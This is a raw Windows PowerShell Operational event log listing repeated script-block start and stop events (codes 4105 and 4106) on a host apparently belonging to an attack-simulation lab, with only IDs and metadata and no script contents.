SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041539
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041538
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041537
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041536
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041535
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041534
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041533
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041532
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041531
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041530
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041529
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041528
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041527
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041526
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041525
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041524
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041523
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041522
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041521
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041520
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041519
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041518
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041517
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041516
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041515
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041514
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041513
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041512
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041511
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041510
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041509
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041508
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041507
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041506
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041505
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041504
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041503
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041502
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041501
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041500
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041499
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041498
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041497
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041496
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041495
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041494
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041493
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041492
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041491
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041490
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041489
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041488
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041487
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
